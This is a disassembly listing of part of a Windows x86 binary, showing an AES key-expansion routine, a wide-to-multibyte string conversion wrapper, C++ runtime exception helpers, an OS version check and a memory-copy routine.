sub_41B3D5	proc near		; CODE XREF: sub_404CDB+26p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, eax
		xor	eax, eax
		mov	dword ptr [esi+204h], 21h
		mov	ah, [ecx+3]
		movzx	edx, byte ptr [ecx+1]
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		mov	al, [ecx+2]
		push	8
		shr	edi, 2
		shl	eax, 8
		or	eax, edx
		movzx	edx, byte ptr [ecx]
		shl	eax, 8
		or	eax, edx
		mov	[esi], eax
		movzx	edx, byte ptr [ecx+5]
		mov	[ebp+var_28], eax
		xor	eax, eax
		mov	ah, [ecx+7]
		mov	al, [ecx+6]
		shl	eax, 8
		or	eax, edx
		movzx	edx, byte ptr [ecx+4]
		shl	eax, 8
		or	eax, edx
		mov	[esi+4], eax
		movzx	edx, byte ptr [ecx+9]
		mov	[ebp+var_24], eax
		xor	eax, eax
		mov	ah, [ecx+0Bh]
		mov	al, [ecx+0Ah]
		shl	eax, 8
		or	eax, edx
		movzx	edx, byte ptr [ecx+8]
		shl	eax, 8
		or	eax, edx
		mov	[esi+8], eax
		mov	bh, [ecx+0Fh]
		mov	[ebp+var_20], eax
		movzx	eax, byte ptr [ecx+0Dh]
		mov	bl, [ecx+0Eh]
		shl	ebx, 8
		or	ebx, eax
		movzx	eax, byte ptr [ecx+0Ch]
		shl	ebx, 8
		or	ebx, eax
		pop	eax
		cmp	edi, eax
		mov	[esi+0Ch], ebx
		jbe	short loc_41B474
		mov	eax, edi

loc_41B474:				; CODE XREF: sub_41B3D5+9Bj
		add	eax, 6
		mov	[esi+200h], eax
		xor	edx, edx
		lea	eax, ds:7[eax*8]
		div	edi
		cmp	[ebp+arg_0], 10h
		mov	[ebp+var_4], eax
		jz	loc_41B6E2
		cmp	[ebp+arg_0], 18h
		jz	loc_41B615
		cmp	[ebp+arg_0], 20h
		jz	short loc_41B4B3
		and	dword ptr [esi+200h], 0
		xor	eax, eax
		jmp	loc_41B752
; ---------------------------------------------------------------------------

loc_41B4B3:				; CODE XREF: sub_41B3D5+CEj
		xor	eax, eax
		mov	ah, [ecx+13h]
		movzx	edx, byte ptr [ecx+11h]
		and	[ebp+arg_0], 0
		mov	al, [ecx+12h]
		shl	eax, 8
		or	eax, edx
		movzx	edx, byte ptr [ecx+10h]
		shl	eax, 8
		or	eax, edx
		mov	edi, eax
		xor	eax, eax
		mov	[esi+10h], edi
		mov	ah, [ecx+17h]
		movzx	edx, byte ptr [ecx+15h]
		mov	al, [ecx+16h]
		shl	eax, 8
		or	eax, edx
		movzx	edx, byte ptr [ecx+14h]
		shl	eax, 8
		or	eax, edx
		mov	[esi+14h], eax
		movzx	edx, byte ptr [ecx+19h]
		mov	[ebp+var_14], eax
		xor	eax, eax
		mov	ah, [ecx+1Bh]
		mov	al, [ecx+1Ah]
		shl	eax, 8
		or	eax, edx
		movzx	edx, byte ptr [ecx+18h]
		shl	eax, 8
		or	eax, edx
		mov	[esi+18h], eax
		movzx	edx, byte ptr [ecx+1Dh]
		mov	[ebp+var_10], eax
		xor	eax, eax
		mov	ah, [ecx+1Fh]
		mov	al, [ecx+1Eh]
		movzx	ecx, byte ptr [ecx+1Ch]
		shl	eax, 8
		or	eax, edx
		shl	eax, 8
		or	eax, ecx
		cmp	[ebp+var_4], 0
		mov	[esi+1Ch], eax
		jbe	loc_41B74F
		lea	ecx, [esi+24h]

loc_41B540:				; CODE XREF: sub_41B3D5+235j
		mov	[ebp+var_8], ebx
		mov	ebx, eax
		mov	edx, eax
		shr	edx, 18h
		mov	edx, ds:dword_42C4D8[edx*4]
		shr	ebx, 10h
		movzx	esi, bl
		xor	edx, ds:dword_42C0D8[esi*4]
		mov	ebx, eax
		shr	ebx, 8
		movzx	esi, bl
		xor	edx, ds:dword_42BCD8[esi*4]
		mov	ebx, [ebp+var_8]
		movzx	esi, al
		xor	edx, ds:dword_42C8D8[esi*4]
		mov	esi, [ebp+arg_0]
		xor	edx, ds:dword_42AC60[esi*4]
		mov	[ebp+var_8], eax
		xor	[ebp+var_28], edx
		mov	edx, [ebp+var_28]
		mov	[ecx-4], edx
		mov	edx, [ebp+var_24]
		xor	edx, [ebp+var_28]
		xor	[ebp+var_20], edx
		mov	[ecx], edx
		mov	[ebp+var_24], edx
		mov	edx, [ebp+var_20]
		xor	ebx, edx
		mov	[ecx+4], edx
		mov	eax, ebx
		shr	eax, 10h
		movzx	esi, al
		mov	[ecx+8], ebx
		mov	edx, ebx
		shr	edx, 18h
		mov	edx, ds:dword_42C8D8[edx*4]
		xor	edx, ds:dword_42C4D8[esi*4]
		mov	eax, ebx
		shr	eax, 8
		movzx	esi, al
		xor	edx, ds:dword_42C0D8[esi*4]
		mov	eax, [ebp+var_8]
		movzx	esi, bl
		xor	edx, ds:dword_42BCD8[esi*4]
		add	ecx, 20h
		xor	edi, edx
		mov	edx, [ebp+var_14]
		xor	edx, edi
		xor	[ebp+var_10], edx
		mov	[ecx-10h], edx
		mov	[ebp+var_14], edx
		mov	edx, [ebp+var_10]
		xor	eax, edx
		inc	[ebp+arg_0]
		mov	[ecx-0Ch], edx
		mov	edx, [ebp+arg_0]
		cmp	edx, [ebp+var_4]
		mov	[ecx-14h], edi
		mov	[ecx-8], eax
		jb	loc_41B540
		jmp	loc_41B74F
; ---------------------------------------------------------------------------

loc_41B615:				; CODE XREF: sub_41B3D5+C4j
		movzx	edx, byte ptr [ecx+11h]
		xor	eax, eax
		mov	ah, [ecx+13h]
		and	[ebp+arg_0], 0
		mov	al, [ecx+12h]
		shl	eax, 8
		or	eax, edx
		movzx	edx, byte ptr [ecx+10h]
		shl	eax, 8
		or	eax, edx
		mov	edi, eax
		xor	eax, eax
		mov	[esi+10h], edi
		mov	ah, [ecx+17h]
		movzx	edx, byte ptr [ecx+15h]
		mov	al, [ecx+16h]
		movzx	ecx, byte ptr [ecx+14h]
		shl	eax, 8
		or	eax, edx
		shl	eax, 8
		or	eax, ecx
		cmp	[ebp+var_4], 0
		mov	[esi+14h], eax
		jbe	loc_41B74F
		lea	ecx, [esi+1Ch]

loc_41B662:				; CODE XREF: sub_41B3D5+309j
		mov	[ebp+var_8], ebx
		mov	ebx, eax
		shr	ebx, 10h
		movzx	esi, bl
		mov	edx, eax
		shr	edx, 18h
		mov	edx, ds:dword_42C4D8[edx*4]
		xor	edx, ds:dword_42C0D8[esi*4]
		mov	ebx, eax
		shr	ebx, 8
		movzx	esi, bl
		xor	edx, ds:dword_42BCD8[esi*4]
		mov	ebx, [ebp+var_8]
		movzx	esi, al
		xor	edx, ds:dword_42C8D8[esi*4]
		mov	esi, [ebp+arg_0]
		xor	edx, ds:dword_42AC60[esi*4]
		xor	[ebp+var_28], edx
		mov	edx, [ebp+var_28]
		mov	[ecx-4], edx
		mov	edx, [ebp+var_24]
		xor	edx, [ebp+var_28]
		xor	[ebp+var_20], edx
		mov	[ecx], edx
		mov	[ebp+var_24], edx
		mov	edx, [ebp+var_20]
		xor	ebx, edx
		xor	edi, ebx
		xor	eax, edi
		inc	[ebp+arg_0]
		mov	[ecx+4], edx
		mov	edx, [ebp+arg_0]
		mov	[ecx+8], ebx
		mov	[ecx+0Ch], edi
		mov	[ecx+10h], eax
		add	ecx, 18h
		cmp	edx, [ebp+var_4]
		jb	short loc_41B662
		jmp	short loc_41B74F
; ---------------------------------------------------------------------------

loc_41B6E2:				; CODE XREF: sub_41B3D5+BAj
		xor	edi, edi
		test	eax, eax
		jbe	short loc_41B74F
		lea	eax, [esi+14h]
		mov	esi, [ebp+var_28]

loc_41B6EE:				; CODE XREF: sub_41B3D5+378j
		mov	edx, ebx
		shr	edx, 10h
		movzx	edx, dl
		mov	ecx, ebx
		shr	ecx, 18h
		mov	ecx, ds:dword_42C4D8[ecx*4]
		xor	ecx, ds:dword_42C0D8[edx*4]
		mov	edx, ebx
		shr	edx, 8
		movzx	edx, dl
		xor	ecx, ds:dword_42BCD8[edx*4]
		movzx	edx, bl
		xor	ecx, ds:dword_42C8D8[edx*4]
		xor	ecx, ds:dword_42AC60[edi*4]
		xor	esi, ecx
		mov	ecx, [ebp+var_24]
		xor	ecx, esi
		xor	[ebp+var_20], ecx
		mov	[eax], ecx
		mov	[ebp+var_24], ecx
		mov	ecx, [ebp+var_20]
		xor	ebx, ecx
		mov	[eax-4], esi
		mov	[eax+4], ecx
		mov	[eax+8], ebx
		inc	edi
		add	eax, 10h
		cmp	edi, [ebp+var_4]
		jb	short loc_41B6EE

loc_41B74F:				; CODE XREF: sub_41B3D5+162j
					; sub_41B3D5+23Bj ...
		xor	eax, eax
		inc	eax

loc_41B752:				; CODE XREF: sub_41B3D5+D9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B3D5	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41B758	proc near		; CODE XREF: sub_40547E+5Bp
		jmp	ds:dword_4292DC
sub_41B758	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B760	proc near		; CODE XREF: sub_409729+D1p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_41B760
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		test	edi, edi
		mov	[ebp+var_10], esp
		jz	loc_41B847
		push	edi
		call	sub_41E0CD
		add	esp, 4
		push	0
		push	0
		push	0
		push	0
		mov	esi, eax
		inc	esi
		push	esi
		push	edi
		push	0
		push	0
		mov	[ebp+var_14], esi
		call	ds:dword_429174	; WideCharToMultiByte
		mov	edi, eax
		test	edi, edi
		mov	[ebp+var_18], edi
		jnz	short loc_41B808
		mov	esi, ds:dword_4290D8
		call	esi	; RtlGetLastWin32Error
		test	eax, eax
		jg	short loc_41B7E1
		call	esi	; RtlGetLastWin32Error
		push	eax
		call	sub_41B8C0
		xor	eax, eax
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------

loc_41B7E1:				; CODE XREF: sub_41B760+62j
		call	esi	; RtlGetLastWin32Error
		and	eax, 0FFFFh
		or	eax, 80070000h
		push	eax
		call	sub_41B8C0
		xor	eax, eax
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------

loc_41B808:				; CODE XREF: sub_41B760+56j
		push	edi
		mov	[ebp+var_4], 0
		call	sub_41BA91
		add	esp, 4
		mov	ebx, eax
		jmp	short loc_41B832
; ---------------------------------------------------------------------------

loc_41B81C:				; DATA XREF: .text:0043108Co
		mov	[ebp+var_1C], 0
		mov	eax, offset loc_41B829
		retn
; ---------------------------------------------------------------------------

loc_41B829:				; DATA XREF: sub_41B760+C3o
		mov	esi, [ebp+var_14]
		mov	edi, [ebp+var_18]
		mov	ebx, [ebp+var_1C]

loc_41B832:				; CODE XREF: sub_41B760+BAj
		test	ebx, ebx
		mov	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_41B85C
		push	8007000Eh
		call	sub_41B8C0

loc_41B847:				; CODE XREF: sub_41B760+26j
		xor	eax, eax
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------

loc_41B85C:				; CODE XREF: sub_41B760+DBj
		mov	eax, [ebp+arg_0]
		push	0
		push	0
		push	edi
		push	ebx
		push	esi
		push	eax
		push	0
		push	0
		call	ds:dword_429174	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41B8A2
		push	ebx
		call	sub_41C7B8
		mov	esi, ds:dword_4290D8
		add	esp, 4
		xor	ebx, ebx
		call	esi	; RtlGetLastWin32Error
		test	eax, eax
		jg	short loc_41B890
		call	esi	; RtlGetLastWin32Error
		jmp	short loc_41B89C
; ---------------------------------------------------------------------------

loc_41B890:				; CODE XREF: sub_41B760+12Aj
		call	esi	; RtlGetLastWin32Error
		and	eax, 0FFFFh
		or	eax, 80070000h

loc_41B89C:				; CODE XREF: sub_41B760+12Ej
		push	eax
		call	sub_41B8C0

loc_41B8A2:				; CODE XREF: sub_41B760+113j
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	eax, ebx
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_41B760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B8C0	proc near		; CODE XREF: sub_41B760+67p
					; sub_41B760+8Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	ds:off_433090
		retn	4
sub_41B8C0	endp

; ---------------------------------------------------------------------------

loc_41B8D0:				; CODE XREF: sub_41B8C0+7p
					; DATA XREF: .text:off_433090o
		sub	esp, 10h
		mov	eax, [esp+14h]
		mov	ecx, [esp+18h]
		push	offset dword_4310E4
		lea	edx, [esp+4]
		push	edx
		mov	dword ptr [esp+8], offset off_4293F4
		mov	[esp+0Ch], eax
		mov	[esp+10h], ecx
		mov	dword ptr [esp+14h], 0
		call	sub_41E4BE
; ---------------------------------------------------------------------------
		db 0Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_4293F4
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	edx, [eax+8]
		mov	eax, edx
		test	eax, eax
		mov	[esi+8], edx
		mov	dword ptr [esi+0Ch], 0
		jz	short loc_41B93C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]

loc_41B93C:				; CODE XREF: .text:0041B934j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		align 10h

loc_41B950:				; DATA XREF: .text:004310E8o
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		mov	dword ptr [esi], offset	off_4293F4
		jz	short loc_41B966
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_41B966:				; CODE XREF: .text:0041B95Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_41B974
		push	esi
		call	ds:dword_429178	; LocalFree

loc_41B974:				; CODE XREF: .text:0041B96Bj
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41B980:				; DATA XREF: .text:off_4293F4o
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		mov	dword ptr [esi], offset	off_4293F4
		jz	short loc_41B996
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_41B996:				; CODE XREF: .text:0041B98Ej
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41B9A4
		push	eax
		call	ds:dword_429178	; LocalFree

loc_41B9A4:				; CODE XREF: .text:0041B99Bj
		test	byte ptr [esp+8], 1
		jz	short loc_41B9B4
		push	esi
		call	sub_41C7B8
		add	esp, 4

loc_41B9B4:				; CODE XREF: .text:0041B9A9j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41B9BA	proc near		; CODE XREF: sub_40497E+3Ap
					; sub_40497E+57p ...
		jmp	ds:dword_4292EC
sub_41B9BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41B9C0	proc near		; CODE XREF: sub_4142D6+EDp
		jmp	ds:dword_429158
sub_41B9C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41B9C6	proc near		; CODE XREF: sub_4142D6+163p
		jmp	ds:dword_429168
sub_41B9C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41B9CC	proc near		; CODE XREF: sub_4142D6+CAp
		jmp	ds:dword_42916C
sub_41B9CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9D2	proc near		; DATA XREF: .text:off_429484o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_41B9EE
		test	[esp+4+arg_0], 1
		jz	short loc_41B9E8
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_41B9E8:				; CODE XREF: sub_41B9D2+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41B9D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9EE	proc near		; CODE XREF: sub_41B9D2+3p
					; DATA XREF: .text:00431124o
		mov	dword ptr [ecx], offset	off_429484
		jmp	sub_40103C
sub_41B9EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9F9	proc near		; CODE XREF: sub_401905+13p
					; sub_401B42+Fp

var_40		= dword	ptr -40h

		mov	eax, offset loc_427912
		call	sub_41E550
		sub	esp, 44h
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-28h]
		call	sub_401818
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401000
		push	offset dword_431120
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_429484
		call	sub_41E4BE
		int	3		; Trap to Debugger
		push	esi
		push	[esp+48h+var_40]
		mov	esi, ecx
		call	sub_401E4B
		mov	dword ptr [esi], offset	off_429484
		mov	eax, esi
		pop	esi
		retn	4
sub_41B9F9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41BA51	proc near		; CODE XREF: sub_401BCA+Dp
		mov	eax, offset loc_427912
		call	sub_41E550
		sub	esp, 44h
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-28h]
		call	sub_401818
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401000
		push	offset dword_43118C
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_429478
		call	sub_41E4BE
		int	3		; Trap to Debugger
sub_41BA51	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41BA91	proc near		; CODE XREF: sub_4017D5+5p
					; sub_401A4D+27p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		jmp	short loc_41BAA8
; ---------------------------------------------------------------------------

loc_41BA98:				; CODE XREF: sub_41BA91+20j
		push	esi
		call	sub_41E56F
		test	eax, eax
		pop	ecx
		jnz	short loc_41BAA8
		call	sub_41BAF9

loc_41BAA8:				; CODE XREF: sub_41BA91+5j
					; sub_41BA91+10j
		push	esi
		call	sub_41D0C4
		test	eax, eax
		pop	ecx
		jz	short loc_41BA98
		pop	esi
		retn
sub_41BA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BAB5	proc near		; CODE XREF: sub_40229D+4p
					; sub_402382+5Dp ...
		jmp	sub_41BA91
sub_41BAB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BABA	proc near		; CODE XREF: .text:0041BAC8p
					; sub_4280CC+BFj
					; DATA XREF: ...
		mov	dword ptr [ecx], offset	off_4294B8
		jmp	sub_41C855
sub_41BABA	endp

; ---------------------------------------------------------------------------

loc_41BAC5:				; DATA XREF: .text:off_4294B8o
		push	esi
		mov	esi, ecx
		call	sub_41BABA
		test	byte ptr [esp+8], 1
		jz	short loc_41BADB
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_41BADB:				; CODE XREF: .text:0041BAD2j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_41C80B
		mov	dword ptr [esi], offset	off_4294B8
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BAF9	proc near		; CODE XREF: sub_41BA91+12p

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		test	byte ptr ds:dword_43548C, 1
		push	esi
		mov	esi, offset off_4294B8
		jnz	short loc_41BB3B
		or	ds:dword_43548C, 1
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, offset dword_435480
		mov	[ebp+var_4], offset dword_4294C0
		call	sub_41C7CE
		push	offset loc_428186
		mov	ds:dword_435480, esi
		call	sub_41C58E
		pop	ecx

loc_41BB3B:				; CODE XREF: sub_41BAF9+13j
		push	offset dword_435480
		lea	ecx, [ebp+var_10]
		call	sub_41C80B
		push	offset dword_43117C
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_10], esi
		call	sub_41E4BE
		int	3		; Trap to Debugger

loc_41BB5A:				; CODE XREF: sub_4280CC-C52Aj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41BB6D
		push	eax
		call	sub_41C2DD
		and	dword ptr [esi], 0
		pop	ecx

loc_41BB6D:				; CODE XREF: sub_41BAF9+68j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		pop	esi
		retn
sub_41BAF9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41BB77	proc near		; CODE XREF: sub_41BBA7+16p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+18h]
		call	sub_40114E
		xor	eax, eax
		mov	[esi+30h], eax
		mov	[esi+34h], eax
		mov	[esi+38h], eax
		mov	eax, esi
		pop	esi
		retn
sub_41BB77	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4280CC

loc_41BB91:				; CODE XREF: sub_4280CC+C9j
		push	esi
		mov	esi, ecx
		lea	eax, [esi+18h]
		push	eax
		call	ds:dword_429098	; RtlDeleteCriticalSection
		lea	ecx, [esi+30h]
		pop	esi
		jmp	loc_41BB5A
; END OF FUNCTION CHUNK	FOR sub_4280CC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_41BBA7	proc near		; CODE XREF: sub_4280CC+5p

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_88		= dword	ptr -88h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 98h
		mov	eax, ds:dword_433148
		push	esi
		mov	[ebp+78h+var_4], eax
		mov	esi, ecx
		call	sub_41BB77
		mov	eax, 400000h
		push	94h
		mov	[esi+8], eax
		mov	[esi+4], eax
		lea	eax, [ebp+78h+var_98]
		push	0
		push	eax
		mov	dword ptr [esi], 3Ch
		mov	byte ptr [esi+0Ch], 0
		call	sub_41C6D0
		add	esp, 0Ch
		lea	eax, [ebp+78h+var_98]
		push	eax
		mov	[ebp+78h+var_98], 94h
		call	ds:dword_42909C	; GetVersionExA
		cmp	[ebp+78h+var_88], 2
		jnz	short loc_41BC09
		cmp	[ebp+78h+var_94], 5
		jb	short loc_41BC21
		jmp	short loc_41BC1D
; ---------------------------------------------------------------------------

loc_41BC09:				; CODE XREF: sub_41BBA7+58j
		cmp	[ebp+78h+var_88], 1
		jnz	short loc_41BC21
		cmp	[ebp+78h+var_94], 4
		ja	short loc_41BC1D
		jnz	short loc_41BC21
		cmp	[ebp+78h+var_90], 0
		jbe	short loc_41BC21

loc_41BC1D:				; CODE XREF: sub_41BBA7+60j
					; sub_41BBA7+6Cj
		mov	byte ptr [esi+0Ch], 1

loc_41BC21:				; CODE XREF: sub_41BBA7+5Ej
					; sub_41BBA7+66j ...
		lea	ecx, [esi+18h]
		mov	dword ptr [esi+10h], 710h
		mov	dword ptr [esi+14h], offset dword_4294E0
		call	sub_401162
		test	eax, eax
		jge	short loc_41BC42
		mov	ds:byte_4359C0,	1

loc_41BC42:				; CODE XREF: sub_41BBA7+92j
		mov	ecx, [ebp+78h+var_4]
		mov	eax, esi
		pop	esi
		call	sub_41E5BB
		add	ebp, 78h
		leave
		retn
sub_41BBA7	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC60	proc near		; CODE XREF: sub_401905+76p
					; sub_4019B1+23p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41BC80
		cmp	edi, eax
		jb	loc_41BDFC

loc_41BC80:				; CODE XREF: sub_41BC60+16j
		test	edi, 3
		jnz	short loc_41BC9C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41BCBC
		rep movsd
		jmp	ds:off_41BDAC[edx*4]
; ---------------------------------------------------------------------------

loc_41BC9C:				; CODE XREF: sub_41BC60+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41BCB4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41BCBC+4[eax*4]
; ---------------------------------------------------------------------------

loc_41BCB4:				; CODE XREF: sub_41BC60+46j
		jmp	dword ptr ds:loc_41BDBC[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41BCBC:				; CODE XREF: sub_41BC60+31j
					; sub_41BC60+8Ej ...
		jmp	ds:off_41BD40[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		sar	byte ptr [ecx+eax*2+41BCFC00h],	1
		add	[eax], ah
		mov	ebp, 0D1230041h
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41BCBC
		rep movsd
		jmp	ds:off_41BDAC[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41BCBC
		rep movsd
		jmp	ds:off_41BDAC[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_41BCBC
		rep movsd
		jmp	ds:off_41BDAC[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41BD40	dd offset loc_41BDA3	; DATA XREF: sub_41BC60:loc_41BCBCr
		dd offset loc_41BD90
		dd offset loc_41BD88
		dd offset loc_41BD80
		dd offset loc_41BD78
		dd offset loc_41BD70
		dd offset loc_41BD68
		dd offset loc_41BD60
; ---------------------------------------------------------------------------

loc_41BD60:				; CODE XREF: sub_41BC60:loc_41BCBCj
					; DATA XREF: sub_41BC60+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41BD68:				; CODE XREF: sub_41BC60:loc_41BCBCj
					; DATA XREF: sub_41BC60+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41BD70:				; CODE XREF: sub_41BC60:loc_41BCBCj
					; DATA XREF: sub_41BC60+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41BD78:				; CODE XREF: sub_41BC60:loc_41BCBCj
					; DATA XREF: sub_41BC60+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41BD80:				; CODE XREF: sub_41BC60:loc_41BCBCj
					; DATA XREF: sub_41BC60+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41BD88:				; CODE XREF: sub_41BC60:loc_41BCBCj
					; DATA XREF: sub_41BC60+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41BD90:				; CODE XREF: sub_41BC60:loc_41BCBCj
					; DATA XREF: sub_41BC60+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41BDA3:				; CODE XREF: sub_41BC60:loc_41BCBCj
					; DATA XREF: sub_41BC60:off_41BD40o
		jmp	ds:off_41BDAC[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41BDAC	dd offset loc_41BDBC	; DATA XREF: sub_41BC60+35r
					; sub_41BC60+92r ...
		dd offset loc_41BDC4
		dd offset loc_41BDD0
		dd offset loc_41BDE4
; ---------------------------------------------------------------------------

loc_41BDBC:				; CODE XREF: sub_41BC60+35j
					; sub_41BC60+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41BDC4:				; CODE XREF: sub_41BC60+35j
					; sub_41BC60+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

